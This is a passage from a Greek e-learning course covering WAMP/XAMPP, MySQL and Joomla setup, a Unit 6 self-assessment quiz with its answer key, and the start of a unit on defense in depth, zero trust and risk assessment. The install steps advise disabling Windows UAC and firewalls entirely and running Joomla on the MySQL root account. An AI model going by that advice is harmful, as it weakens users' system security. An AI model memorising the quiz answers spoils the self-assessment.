τεχνικές γνώσεις επάνω σε αυτό. Αυτό είναι ίσως και το μεγαλύτερο πλεονέκτημά τους έναντι της συμβατικής μεθόδου. Στον αντίποδα, το μειονέκτημα της συγκεκριμένης μεθόδου είναι πως ο χρήστης δεν έχει τον απόλυτο έλεγχο όσον αφορά στα πακέτα λογισμικού που εγκαθίστανται στον υπολογιστή του, πολλές φορές οι installers εγκαθιστούν βοηθητικά εικονίδια στο system tray που μπορεί ο χρήστης να μην επιθυμεί να έχει και τέλος κάποια από αυτά κάνουν αυτόματα κάποιες ρυθμίσεις στο λογισμικό που εγκαθιστούν τις οποίες επίσης ο χρήστης μπορεί να μην επιθυμεί. Τέλος, τα πακέτα αυτά δεν είναι πάντοτε ενημερωμένα με την τελευταία έκδοση του Οι χρήστες Linux μπορούν να χρησιμοποιήσουν το XAMPP, αφού πρώτα όμως το κατεβάσουν από το

site των Apache Friends. Ένας άλλος τρόπος που παρέχουν κάποια δημοφιλή Linux distributions για την εγκατάσταση του απαραίτητου λογισμικού είναι μέσω του package manager, τσεκάροντας την επιλογή 'LAMP server'. Τέλος, οι χρήστες MacOS μπορούν να χρησιμοποιήσουν το XAMPP, αφού πρώτα και αυτοί προμηθευτούν τον κατάλληλο installer από τους Apache Friends. Η δεύτερη επιλογή όπως προαναφέρθηκε αφορά στην εγκατάσταση των συστατικών της αρχιτεκτονικής ανεξάρτητα, σε τρία βήματα. Η επιλογή αυτή συνιστάται σε πιο προχωρημένους χρήστες και το μεγάλο της πλεονέκτημα είναι πως ο χρήστης έχει τον απόλυτο έλεγχο όσον αφορά στο λογισμικό που θα εγκ ατασταθεί. Αν θελήσετε να εγκαταστήσετε έναν WAMP server τον οποίο θα ανεβάσετε online, αυτός είναι και ο πιο ενδεδειγμένος τρόπος εγκατάστασης του λογισμικού. Στις υποενότητες που ακολουθούν περιγράφεται η ανεξάρτητη εγκατάσταση των τριών συστατικών της αρχιτεκτονικής, ξεκινώντας με τη MySQL, συνεχίζοντας με τον Apache και τέλος με την PHP. λογισμικού που εγκαθιστούν. Εγκατάσταση MySQL Η διαδικασία στησίματος της αρχιτεκτονικής ξεκινάει με την εγκατάσταση της βάσης μας, δηλαδή του MySQL Server. Η εγκατάσταση γίνεται μέσω installer και είναι γενικά απλή. Ο SQL Server διατίθεται τόσο σε 32-μπιτη όσο και σε 64-μπιτη έκδοση, οπότε ανάλογα με το λειτουργικό σας σύστημα επιλέγετε τον κατάλληλο installer. Πριν ξεκινήσετε τη διαδικασία εγκατάστασης συνιστώ να απενεργοποιήσετε τελείως το UAC (User Account Control) των Windows και να απενεργοποιήσετε τυχόν third-party firewall. Στον πρώτο διάλογο που θα εμφανιστεί, στην πρώτη εικόνα που ακολουθεί, επιλέγουμε Custom εγκατάσταση και στη συνέχεια Next. Στον επόμενο διάλογο επιλέγουμε Next (αποδεχόμενοι τα προεπιλεγμένα πακέτα) και στον διάλογο που ακολουθεί (επόμενη εικόνα με τη σειρά) απλά «ξετσεκάρουμε» την επιλογή για registration και πατάμε 'Finish'.

Ο επόμενος διάλογος αφορά στις ρυθμίσεις διασύνδεσης του server, στον οποίο απλά τσεκάρουμε όλες τις επιλογές όπως φαίνεται παρακάτω. Αν και θα δημιουργηθεί μία εξαίρεση για το port 3306 του TCP στο firewall των Windows, καλό είναι καθ' όλη τη διάρκεια του development να έχετε πλήρως απενεργοποιημένα τυχόν third-party firewalls.

Στον παρακάτω διάλογο επιλέγουμε τη δεύτερη επιλογή Best Support For Multilingualism ώστε να είμαστε σε θέση να αποθηκεύουμε απροβλημάτιστα δεδομένα με Ελληνικούς χαρακτήρες στη βάση.

Ο τελευταίος διάλογος, παρακάτω, είναι πολύ σημαντικός γιατί εδώ ορίζουμε το συνθηματικό του root χρήστη, δηλαδή του χρήστη με πλήρη δικαιώματα διαχείρισης του server. Θα πρέπει να επιλέξετε ένα συνθηματικό που δεν θα ξεχάσετε και να το εισάγετε δύο φορές στα αντίστοιχα πεδία.

Πατώντας Next θα εμφανιστεί ο διάλογος που σας ενημερώνει για την πορεία εκτέλεσης των scripts και η διαδικασία εγκατάστασης του MySQL Server και της δημιουργίας του instance θα ολοκληρωθεί. Αυτό που απομένει για να ολοκληρώσουμε την εγκατάσταση λογισμικού σχετικού με τη βάση δεδομένων είναι η εγκατάσταση των GUI Tools. Τα GUI Tools αποτελούνται από τον MySQL Administrator και τον MySQL Query Browser, δύο πολύ χρήσιμα εργαλεία που μας επιτρέπουν να δουλεύουμε με τη βάση μέσα από ένα γραφικό περιβάλλον. Μέσω του MySQL Administrator μπορούμε να ρυθμίσουμε όλες τις παραμέτρους του MySQL Server ενώ μέσω του Query Browser μπορούμε να εκτελούμε SQL statements ή scripts, να προβάλλουμε δεδομένα πινάκων αλλά και να τα τροποποιούμε (edit) πολύ γρήγορα μέσα από το γραφικό περιβάλλον. Η εγκατάσταση των GUI Tools είναι πολύ απλή και γίνεται μέσω installer. Για να ελέγξουμε πως η βάση μας έχει εγκατασταθεί σωστά, θα δοκιμάσουμε να κάνουμε μια σύνδεση σε αυτήν με τον MySQL Adminstrator. Από το μενού των προγραμμάτων πηγαίνετε στο MySQL και επιλέξτε MySQL Administrator. Θα εμφανιστεί ο διάλογος σύνδεσης με τη βάση όπου θα πρέπει να εισάγετε τα απαραίτητα στοιχεία: • Server Host: localhost • Port: 3306 (το προεπιλεγμένο) • Username: root • Password: το password του root χρήστη που ορίσατε κατά την εγκατάσταση Πατώντας ΟΚ θα συνδεθείτε με τη βάση και θα ανοίξει το κεντρικό παράθυρο του MySQL Administrator, όπως φαίνεται παρακάτω. Έχετε συνδεθεί επιτυχώς με το instance της βάσης ως root. Αν πατώντας 'ΟΚ' στον διάλογο σύνδεσης σας προβληθεί ένα μήνυμα που σας λέει πως δεν έχετε επιλέξει default σχήμα βάσης, επιλέξτε να μην σας ξαναεμφανιστεί, πατήστε ΟΚ και ξαναπροσπαθήστε. Στην περίπτωση που η σύνδεση αποτύχει, θα σας προβληθεί το αντίστοιχο μήνυμα. Διαβάστε το μήνημα λάθους και ελέγξτε τα εξής: • Το service MySQL είναι online (started) • Έχετε δώσει το σωστό password • To firewall των Windows είναι απενεργοποιημένο, ή έχουμε ορίσει εξαίρεση για την πόρτα 3306 του TCP

• Αν έχετε κάποιο άλλο third-party firewall πως είναι απενεργοποιημένο ή έχετε ορίσει σωστά μια εξαίρεση για την πόρτα 3306 του TCP Για όσους το επιθυμούν, τόσο ο MySQL Administrator όσο και ο Query Browser υποστηρίζουν πλήρως την Ελληνική γλώσσα (μπορείτε να επιλέξετε τη γλώσσα της εφαρμογής από το μενού των ρυθμίσεων).

Εγκατάσταση Joomla Έχοντας εγκαταστήσει όλα τα κομμάτια της αρχιτεκτονικής και έχοντας ρυθμίσει τις υπηρεσίες, απομένει να εγκαταστήσουμε το ίδιο το Joomla. Η εγκατάσταση γίνεται μέσω ενός web browser (είναι δηλαδή web-based) και είναι αρκετά απλή. Για να ξεκινήσετε την εγκατάσταση θα πρέπει τα services του Apache και της MySQL να είναι online (started). Πριν ξεκινήσετε την εγκατάσταση θα πρέπει να δημιουργήσετε έναν φάκελο (π.χ. joomla) μέσα στον φάκελο που χρησιμοποιείται από τον Apache για να κάνει publish στο web τα περιεχόμενά του. Σε μία τυπική εγκατάσταση του Apache, ο φάκελος αυτός είναι ο htdocs (C:\Program Files\Apache Software Foundation\Apache2.2\htdocs). Αν χρησιμοποιήσατε κάποιο πακέτο για την εγκατάσταση των συστατικών της αρχιτεκτονικής, μπορεί να έχει δημιουργηθεί αυτόματα για εσάς κάποιο alias (ένας φάκελος με άλλο όνομα που κάνει την ίδια δουλειά π.χ. www) οπότε μπορείτε να δημιουργήσετε τον φάκελο joomla μέσα σε αυτόν. Στις οδηγίες εγκατάστασης που ακολουθούν θεωρείται πως ακολουθήσατε την χειρωνακτική

εγκατάσταση και πως ο default φάκελος τα περιεχόμενα του οποίου γίνονται publish είναι ο htdocs. Έχοντας δημιουργήσει τον φάκελο joomla μέσα στον htdocs, στη συνέχεια αποσυμπιέστε τα περιεχόμενα του αρχείου εγκατάστασης του Joomla μέσα στον φάκελο αυτόν και είστε έτοιμοι να ξεκινήσετε τη διαδικασία εγκατάστασης. Ανοίξτε τον browser της επιλογής σας και 'χτυπήστε' τη διεύθυνση http://localhost/joomla/index.php. Θα προβληθεί η πρώτη σελίδα του οδηγού που θα σας οδηγήσει στην ολοκλήρωση της εγκατάστασης του Joomla. Οι ρυθμίσεις που συνιστάται να χρησιμοποιήσετε είναι οι εξής: 1. Στην 1η σελίδα επιλέγετε τη γλώσσα εγκατάστασης που επιθυμείτε και στη συνέχεια Next. 2. Στη 2η σελίδα γίνεται έλεγχος της υποδομής η οποία λογικά θα είναι επιτυχής και άρα επιλέγετε Next. 3. Στην 3η σελίδα υπάρχει η άδεια χρήσης. Επιλέγετε Next. 4. Στην 4η σελίδα εισάγετε τα στοιχεία που χρειάζεται ο οδηγός εγκατάστασης για να δημιουργήσει τη βάση: • Database Type: MySQL • Host Name: localhost • Username: root • Password: το συνθηματικό που ορίσατε κατά τη δημιουργία του instance της βάσης. 5. Στην 5η σελίδα ρυθμίζεται η δυνατότητα FTP. Αποδέχεστε την προεπιλεγμένη τιμή No και επιλέγετε Next. 6. Στην 6η σελίδα ενημερώνετε τον οδηγό εγκατάστασης για τα χαρακτηριστικά του site που θα δημιουργηθεί καθώς και του διαχειριστή του: • Αρχικά κάνετε κλικ στο κουμπί Install Sample Data για να εγκατασταθούν τα δεδομένα δείγματος. Τα δεδομένα δείγματος τα χρειαζόμαστε για τις πρώτες ενότητες του σεμιναρίου, όταν όμως στο μέλλον εγκαταστήσετε το Joomla σε κάποιον άλλον φάκελο για να δημιουργήσετε ένα δικό σας site δεν θα πρέπει να τα εγκαταστήσετε. • Site Name: Εισάγετε ένα όνομα για το site σας. • Your E-mail: To email του διαχειριστή. Όταν δουλεύουμε τοπικά δεν έχει νόημα να • δώσουμε πραγματικό email οπότε δίνουμε admin@localhost.com • Admin Password: Εισάγετε το συνθηματικό που θα χρησιμοποιείτε για να εισέρχεστε στη

• σελίδα διαχείρισης του site. Θα πρέπει να είναι ένα συνθηματικό που δεν θα ξεχάσετε. • Confirm Admin Password: Επαναεισάγετε το συνθηματικό για επιβεβαιώση. 7. Η 7η σελίδα σας ενημερώνει πως η εγκατάσταση ολοκληρώθηκε. Θα πρέπει τώρα να πάτε αμέσως στον φάκελο με τα αρχεία εγκατάστασης του Joomla που στη συγκεκριμένη εγκατάσταση τον έχουμε ονομάσει joomla και να διαγράψετε όλον τον φάκελο installation (htdocs-->joomla-->installation). Αφού εκτελέσετε αυτό το βήμα, 'χτυπήστε' πάλι στον web browser σας τη διεύθυνση http://localhost/joomla/index.php. Θα προβληθεί η αρχική σελίδα του website που δημιουργήθηκε. Front-end (Website) Παρακάτω φαίνεται το front-end μιας τυπικής εγκατάστασης του Joomla με εγκατεστημένα και τα δεδομένα δείγματος.

Αυτό είναι το website που θα βλέπουν οι χρήστες του διαδικτύου που θα επισκέπτονται τον ιστότοπό σας. Προς το παρόν χρησιμοποιεί τις εξ' ορισμού ρυθμίσεις, αλλά μέχρι το τέλος του σεμιναρίου θα έχετε μάθει όλα όσα θα πρέπει να ξέρετε ώστε να είστε σε θέση να προσαρμόζετε πλήρως το frontend στις απαιτήσεις σας. Back-end (Admin Site)

Εκτός από το front-end που αποτελεί το website το οποίο θα επισκέπτονται οι χρήστες του διαδικτύου, το Joomla κάνει χρήση και ενός back-end (administration site). Πρόκεται για ένα εξίσου σημαντικό (αν όχι το σημαντικότερο) κομμάτι της εφαρμογής μιας και μέσω αυτού του διαχειριστικού site ο ιδιοκτήτης ή ο διαχειριστής του ιστοτόπου πραγματοποιεί σχεδόν όλες τις ρυθμίσεις για το front-end. Για να δείτε το back-end και να κάνετε login σε αυτό θα πρέπει να προσθέσετε το κομμάτι '/administrator/index.php' σε αυτό του front-end και άρα για την εγκατάσταση

του

παραδείγματός

μας,

http://localhost/joomla/administrator/index.php

το

URI

Ανάλογα

αυτό

θα

είναι

το:

με

ρυθμίσεις

που

τις

χρησιμοποιήσατε για την δική σας εγκατάσταση, 'χτυπήστε' το αντίστοιχο URI στον web browser της επιλογής σας, οπότε θα προβληθεί η σελίδα login του back-end. Εισάγοντας σε αυτήν ως Username admin και ως Password το συνθηματικό που ορίσατε κατά την εγκατάσταση του Joomla, θα πρέπει να εισέλθετε στο περιβάλλον του back-end και να δείτε την οθόνη παρακάτω.

Εγκατάσταση Πακέτου Ελληνικών Για να ξεκινήσουμε την εξοικείωσή μας με το back-end το οποίο θα χρησιμοποιήσουμε, θα εγκαταστήσουμε το πακέτο Ελληνικών για το Joomla. Ο διαχειριστής ενός website έχει τη δυνατότητα να εγκαταστήσει πολλές διαφορετικές μεταφράσεις των μηνυμάτων που

χρησιμοποιούνται από το front-end του Joomla. Η εγκατάσταση των πακέτων αυτών γίνονται μέσω της σελίδας Install/Uninstall του μενού Extensions. Θα χρειαστεί πρώτα να προμηθευτείτε το πακέτο των Ελληνικών, το οποίο μπορείτε είτε να το κατεβάσετε από το site της Ελληνικής κοινότητας του Joomla αλλά υπάρχει επίσης και στο συνοδευτικό CD (φάκελος Extensions/Greek). Μέσω της σελίδας αυτής (εικόνα παρακάτω) ο διαχειριστής μπορεί να εγκαταστήσει διάφορα πακέτα που προσθέτουν λειτουργικότητα στο front-end αλλά και στο back-end της εφαρμογής. Στο πεδίο Package File επιλέγετε Browse και στον διάλογο που εμφανίζεται πηγαίνετε στην τοποθεσία όπου βρίσκεται το αρχείο του συγκεκριμένου πακέτου. Τα αρχεία αυτά έχουν συνήθως κατάληξη .zip ή .gz. Στη συνέχεια επιλέγετε Upload File & Install.

Έχοντας εγκαταστήσει το πακέτο Ελληνικών για το front-end, αν 'χτυπήσετε' τη διεύθυνσή του θα δείτε στον browser σας τη σελίδα παρακάτω.

Όπως βλέπετε τα διάφορα μηνύματα αλλά και οι ετικέτες των κουμπιών είναι γραμμένα πλέον στα Ελληνικά. Θα παρατηρήσετε επίσης πως υπάρχουν κάποια θέματα με τις μεταφράσεις αυτές, π.χ. δείτε την πρόταση στα Ελληνικά κάτω από τον τίτλο Who's Online στο μέσον και δεξιά της σελίδας. Θα πρέπει να σημειώσουμε πως η εγκατάσταση των Ελληνικών δεν έχει σχέση με το περιεχόμενο του site, δηλαδή κατά πόσο θα έχει τη δυνατότητα το site μας να περιέχει κείμενα ή μενού στα Ελληνικά. Το πακέτο Ελληνικών έχει να κάνει μόνο με τη μετάφραση των μηνυμάτων αλλά και των ετικετών των κουμπιών που χρησιμοποιούνται από τα διάφορα modules του Joomla. Είναι λοιπόν καθαρά στο χέρι σας το αν θα τα εγκαταστήσετε ή όχι σε κάποιο site στο οποίο δουλεύετε. Για τις εργασίες και τις ασκήσεις του σεμιναρίου η εγκατάσταση του πακέτου Ελληνικών δεν είναι υποχρεωτική. Συστατικά του Joomla Όπως αναφέρθηκε ήδη σε προηγούμενη υποενότητα, η συνολική λειτουργικότητα του Joomla ως εφαρμογή που αποτελείται από το front-end (website) και το back-end (διαχειριστικό) είναι μοιρασμένη σε αρχεία που βρίσκονται στον φάκελο εγκατάστασης της εφαρμογής στον web server και σε δεδομένα που βρίσκονται αποθηκευμένα στους

αντίστοιχους πίνακες στη βάση. Αν περιηγηθείτε στον φάκελο εγκατάστασης θα δείτε πως εκεί υπάρχουν αρχεία διαφόρων ειδών, όπως π.χ. αρχεία PHP, CSS, HTML, JavaScript, XML, αρχεία φωτογραφιών κ.α. Ανοίγοντας τον MySQL Administrator και ελέγχοντας τα περιεχόμενα της βάσης που δημιουργήθηκε κατά την εγκατάσταση του Joomla, θα δείτε πως περιέχει αρκετούς πίνακες στους οποίους και αποθηκεύεται η συντριπτική πλειονότητα των ρυθμίσεων αλλά και του περιεχομένου του website, όπως φαίνεται στο σχήμα 1.23.

Σύνοψη Εκπαιδευτικής Ενότητας 6 Στην ενότητα 6, γίνεται η παρουσίσαση του SEM, του SEO των CMS και συγκεκριμένα ο σκοπός, τα χαρακτηριστικά τους, και η κατασκευή μιας ιστισελίδος με την χρήση δύο CMS του Wordpress και της Joomla.

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 6 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις ΕΡΩΤΗΣΗ 1: Η χρήση των CMS στην ανάπτυξη ιστοσελίδων επέφερε ευεργετικές δυνατότητες που βελτιώνουν κατά πολύ την κατασκευή, το σχεδιασμό και την ποιότητά τους

α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 2: Τα CMS συμπεριφέρονται σαν μια βάση δεδομένων και περιέχουν όλες τις πληροφορίες ενός website σε μορφή κειμένου α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 3: ‘Ένα από τα πιο διαδεδομένα συστήματα CMS είναι η JAVA. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 4: Κατηγορίες CMS είναι ………. α. Commercial β. OpenSource γ. όλα τα παραπάνω

ΕΡΩΤΗΣΗ 5: Για να εγκατασταθεί και να λειτουργήσει το WordPress, θα πρέπει να συσταθεί και να ρυθμίσετε μια βάση δεδομένων SQLSERVER. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 6: Το σύστημα των χρηστών στο Wordpress επιτρέπει μέχρι …………. επίπεδα χρηστών α. 20 β. 10 γ. 5

ΕΡΩΤΗΣΗ 7: Το Wordpress χρησιμοποιεί τον μηχανισμό “JASON” ώστε να μετατρέψει ένα κομμάτι ASCII σε τυπογραφικά σωστά τμήματα XHTML. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 8: Τα CMS κλειστού κώδικα είναι φθηνά. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 9: Χαρακτηριστικά του Wordpress είναι …. α. Άδεια:GPL β. Γλώσσα:PHP γ. όλα τα παραπάνω

ΕΡΩΤΗΣΗ 10: Τα συστήματα ανοιχτού κώδικα επιτρέπουν στο χρήστη να δει τις δυνατότητές του λογισμικού και ύστερα να το τροποποιήσει ανάλογα με τις δικές του ανάγκες. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 6 1:

Απάντηση 1. Α

2:

Απάντηση 2. Α

3:

Απάντηση 3. Β

4:

Απάντηση 4. Γ

5:

Απάντηση 5. Β

6:

Απάντηση 6. Β

7:

Απάντηση 7. Β

8:

Απάντηση 8 Β

9:

Απάντηση 9. Γ

10:

Απάντηση 10. Α

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 7: Ασφάλεια προσωπικών δεδομένων και συναλλαγών (e-shop) ΣΚΟΠΟΣ Ο σκοπός αυτής της εκπαιδευτικής ενότητας είναι να γνωρίζετε τα Θέματα Ασφάλειας Πληροφοριακών Συστημάτων ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν θα έχετε μελετήσει αυτό το υλικό της εκπαιδευτικής ενότητας, θα μπορείτε να: Κατανοήσετε την διάρθρωση και τους Κινδύνους των Πληροφοριακών Συστημάτων και Υποδομών. Περιγράψετε την Ασφάλεια των Δικτύων. ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ Δίκτυο Η/Υ, networks, firewalls, intrusion detection systems, VPNs, risk Εκπαιδευτική Υποενότητα 7.1 Διάρθρωση και Κίνδυνοι Πληροφοριακών Συστημάτων και Υποδομών Αρχιτεκτονικές ασφάλειας πληροφοριακών συστημάτων Η σημερινή τυπική δομή των πληροφοριακών συστημάτων ενός Οργανισμού έχει φθάσει σε ιδιαίτερα υψηλό βαθμό πολυπλοκότητας. Τα βασικά χαρακτηριστικά της έχουν ως εξής: 1. Κεντρική κτηριακή υποδομή με servers που έχουν δημόσια IP (web, mail, DNS κ.α.) και με διάφορα εσωτερικά δίκτυα που φιλοξενούν υπηρεσιακούς υπολογιστές των εργαζομένων. Ενίοτε, οι εργαζόμενοι φέρουν στο χώρο εργασίας δικές τους φορητές συσκευές (laptops, tablets, smartphones) που συνδέονται στο δίκτυο του Φορέα, καθώς και δικά τους φορητά μέσα αποθήκευσης (USB, εξωτερικούς σκληρούς δίσκους κ.λπ.). 2. Απομακρυσμένα γραφεία του ίδιου Φορέα σε άλλες περιοχές με τη δική τους αντίστοιχη εσωτερική δικτυακή υποδομή. 3. Εφαρμογές του Οργανισμού, συνήθως web, που φιλοξενούνται σε data centers ενός ή περισσοτέρων παρόχων cloud υπηρεσιών. 4. Υπάλληλοι του Φορέα που εργάζονται από το σπίτι (τηλεργασία), συνδέονται απομακρυσμένα στο εσωτερικό δίκτυο του Οργανισμού και χειρίζονται κρίσιμα δεδομένα του με τη χρήση ενός οικιακού δικτύου και υπολογιστών που δεν έχουν ελεγχθεί από το Φορέα. 5. Τρίτοι πάροχοι και προμηθευτές που έχουν αναλάβει την ανάπτυξη εφαρμογών καθώς και την τεχνητή υποστήριξη συστημάτων του Οργανισμού, συνδέονται απομακρυσμένα στο εσωτερικό δίκτυό του μέσω της υποδομής τους ή έχουν αναθέσει την εργασία σε δικό τους υπεργολάβο.

Παρατηρούμε μία ευρεία και δύσκολα ελεγχόμενη διασπορά στην επεξεργασία, αποθήκευση και κυκλοφορία των δεδομένων ενός Φορέα, ενώ παράλληλα η κλασσική δικτυακή περίμετρος δεν είναι πλέον ξεκάθαρα οριοθετημένη. Τα παραπάνω λαμβάνουν χώρα σε έναν διασυνδεδεμένο κόσμο που γίνεται όλο και περισσότερο ευάλωτος σε κακόβουλη δραστηριότητα όσο αυξάνονται η διασυνδεσιμότητα, ο πλούτος των συσκευών, οι κατανεμημένες εφαρμογές και υπηρεσίες καθώς και η πολυπλοκότητα σε cloud και multi-cloud περιβάλλοντα. Είναι φανερό ότι τέτοιου βαθμού πολυπλοκότητα αυξάνει κατά πολύ τις απαιτήσεις ασφάλειας για την προστασία των κρίσιμων δεδομένων του Φορέα από διαρροή, σκόπιμη αλλοίωση ή και διακοπή διαθεσιμότητας. Για την αποτελεσματική άμυνα έναντι των συνεχώς εξελισσόμενων απειλών, έχουν προταθεί διάφορα μοντέλα αρχιτεκτονικής, δύο εκ των οποίων θα περιγραφούν συνοπτικά παρακάτω. Η αρχιτεκτονική «άμυνα σε βάθος (defense in depth)» Σε αυτό το μοντέλο εφαρμόζονται μέτρα και μηχανισμοί ασφάλειας σε μορφή διαδοχικών στρωμάτων σε όλο το εύρος του δικτύου και των δεδομένων ενός Οργανισμού για την προστασία τους από απειλές. Κάθε στρώμα ξεχωριστά δεν αντιμετωπίζει όλες τις απειλές, ενώ όλα μαζί συνολικά αντιμετωπίζουν μία μεγάλη ποικιλομορφία επιθετικών τεχνικών. Εάν μία απειλή καταφέρει και παρακάμψει ένα στρώμα, έχει να αντιμετωπίσει τους αμυντικούς μηχανισμούς του επόμενου στρώματος. Μία αποτελεσματική στρατηγική άμυνας σε βάθος περιλαμβάνει μηχανισμούς στο καθαρά τεχνικό επίπεδο, καθώς και οργανωτικά / διοικητικά μέτρα, όπως τελείως ενδεικτικά: 1. Πολιτικές και διαδικασίες (ανάλυση κινδύνου, εκπαίδευση χρηστών, διαχείριση εφοδιαστικής αλυσίδας κ.α.). 2. Περιορισμοί πρόσβασης (least privilege, need-to-know κ.α.).

3. Ασφάλεια δικτύων (τμηματοποίηση δικτύου, firewalls, intrusion detection systems, VPNs κ.α.). 4. Προστασία συσκευών (antivirus, application whitelisting κ.α.). 5. Προστασία εφαρμογών και δεδομένων (patching, data backup, κρυπτογράφηση κ.α.) Στο παρακάτω σχήμα απεικονίζεται γραφικά ένα παράδειγμα διαδοχικής διαστρωμάτωσης της αρχιτεκτονικής «άμυνα σε βάθος». Η προσέγγιση «άμυνα σε βάθος» θεωρείται μία αποτελεσματική στρατηγική που μειώνει την πιθανότητα επιτυχούς κυβερνοεπίθεσης και ελαχιστοποιεί τη ζημιά που ενδέχεται να προκληθεί από αυτή.

Η Αρχιτεκτονική zero trust: Η συνεχής βελτίωση και εξέλιξη των επιθετικών μεθόδων του κυβερνοεγκλήματος, καθώς και η αυξανόμενη πολυπλοκότητα των σύγχρονων συστημάτων πληροφορικής, έχουν οδηγήσει σχετικά πρόσφατα στην ανάδυση ενός νέου μοντέλου αρχιτεκτονικής ασφάλειας, που ονομάζεται zero trust. H zero trust αποτελεί ένα μοντέλο ασφάλειας, ένα σύνολο αρχών σχεδιασμού συστημάτων και μία συντονισμένη στρατηγική, που βασίζονται στην παραδοχή ότι οι απειλές ενυπάρχουν τόσο έξω όσο και μέσα από τις παραδοσιακές περιμέτρους των δικτύων. Ειδικότερα, οι θεμελιακές αρχές του μοντέλου είναι: never trust, always verify: κάθε χρήστης, συσκευή, εφαρμογή και ροή δεδομένων θεωρούνται μη έμπιστα. Κάθε στοιχείο από τα παραπάνω πρέπει να αυθεντικοποιείται και

κατόπιν να εξουσιοδοτείται ρητά με τα ελάχιστα απαιτούμενα προνόμια , assume breach: θεωρείται ότι οι συσκευές και το δίκτυο του Φορέα έχουν ενδεχομένως ήδη παραβιαστεί από κάποια κακόβουλη ομάδα. Εφαρμόζεται η αρχή deny by default σε κάθε αίτημα πρόσβασης χρήστη, συσκευής, εφαρμογής και ροής δεδομένων. Η πρόσβαση δίδεται αφού εξεταστούν διεξοδικά πολλαπλές παράμετροι (π.χ. user name χρήστη, όνομα και τοποθεσία συσκευής, ώρα, προηγούμενη καταγεγραμμένη συμπεριφορά του χρήστη κ.λπ.). Η zero trust προσέγγιση ενσωματώνει ιδιαίτερα εμπεριστατωμένη παρακολούθηση κινήσεων. Όλα τα αιτήματα πρόσβασης, αλλαγές ρυθμίσεων και δικτυακή κυκλοφορία καταγράφονται σε log files, τα οποία ελέγχονται αυτοματοποιημένα συνεχώς για ύποπτη δραστηριότητα. Το μοντέλο αποδέχεται ότι κάθε έγκριση πρόσβασης σε κρίσιμους πόρους ενέχει κινδύνους και απαιτεί άμεση ετοιμότητα στην αντιμετώπιση περιστατικών, αξιολόγηση της ζημιάς και ανάκαμψη των επιχειρησιακών λειτουργιών. Στο παρακάτω σχήμα απεικονίζεται ένα παράδειγμα εφαρμογής του zero trust, όπου ο επιτιθέμενος έχει παραβιάσει τους κωδικούς πρόσβασης ενός νόμιμου χρήστη και αποπειράται να αποκτήσει πρόσβαση σε συστήματα του Οργανισμού.

Αξιολογώντας τον κίνδυνο

Οι Οργανισμοί εξαρτώνται όλο και περισσότερο από τεχνολογίες πληροφορικής και επικοινωνιών για να εκτελούν την καθημερινή λειτουργία και αποστολή τους. Οι εν λόγω τεχνολογίες υπόκεινται σε απειλές, οι οποίες εκμεταλλεύονται γνωστές και άγνωστες ευπάθειες των συστημάτων με ενδεχόμενες σοβαρές επιπτώσεις στην επιχειρησιακή λειτουργία και στα πρόσωπα. Στις κρίσιμες υποδομές και στην ίδια την εθνική ασφάλεια της χώρας, λόγω της παραβίασης της εμπιστευτικότητας, ακεραιότητας και διαθεσιμότητας της πληροφορίας που τα συστήματα αυτά επεξεργάζονται, αποθηκεύουν ή μεταδίδουν. Οι απειλές για τις τεχνολογίες πληροφορικής περιλαμβάνουν τις κυβερνοεπιθέσεις, τα ανθρώπινα λάθη, τις περιβαλλοντικές καταστροφές και τις δομικές αστοχίες. Για τον παραπάνω λόγο, αποτελεί επιτακτική ανάγκη για τις Διοικήσεις των Οργανισμών να συνειδητοποιήσουν την ευθύνη τους και να καθιερώσουν μία συνολική οργανωσιακή προσέγγιση διαχείρισης του κινδύνου που σχετίζεται με τη λειτουργία και χρήση πληροφοριακών συστημάτων. Βασικό συστατικό ενός πλαισίου διαχείρισης κινδύνου αποτελεί η αξιολόγηση του κινδύνου, η οποία συνίσταται στην ακόλουθη σειρά ενεργειών:- εντοπίζονται οι πηγές απειλών που σχετίζονται με τον Οργανισμό (κακόβουλες ομάδες, ανταγωνιστές, άλλα κράτη, φυσικές απειλές, λάθη κ.λπ.), - εντοπίζονται οι ενέργειες / γεγονότα (threat events) που θα μπορούσαν να συμβούν από τις παραπάνω πηγές (κυβερνοεπιθέσεις, φυσικές καταστροφές, βλάβη υλικού κ.λπ.), - εντοπίζονται οι ευπάθειες του Οργανισμού που θα μπορούσε κάποια πηγή να τις εκμεταλλευτεί μέσω συγκεκριμένων ενεργειών / γεγονότων, - εκτιμάται η πιθανότητα ότι οι αναγνωρισμένες πηγές θα ξεκινήσουν συγκεκριμένες ενέργειες και η πιθανότητα επιτυχούς πραγματοποίησης των γεγονότων, - εκτιμούνται οι δυσμενείς επιπτώσεις (στις λειτουργίες και συστήματα του Φορέα, σε πρόσωπα, σε άλλους Οργανισμούς ή στην ίδια την εθνική ασφάλεια) εάν οι ενέργειες / γεγονότα πραγματοποιηθούν, - καθορίζεται ο κίνδυνος για την ασφάλεια του Οργανισμού, ως συνδυασμός (i) της πιθανότητας πραγματοποίησης των γεγονότων και (ii) των δυσμενών επιπτώσεων εάν τα γεγονότα πραγματοποιηθούν. Με βάση τον υπολογισθέντα κίνδυνο, ο Φορέας θα προβεί σε επιλογή των ανάλογων μέτρων προστασίας, προκειμένου οι κίνδυνοι να αντιμετωπιστούν επαρκώς. Επίσης, ο Φορέας θα πρέπει να αναπτύξει πολιτική ασφάλειας, που θα ορίζει σε υψηλό επίπεδο τους στόχους ασφάλειας και την προσέγγιση του Φορέα στην επίτευξή τους. Ενώ θα παραπέμπει σε ειδικότερες θεματικές πολιτικές και διαδικασίες που θα εξειδικεύουν την

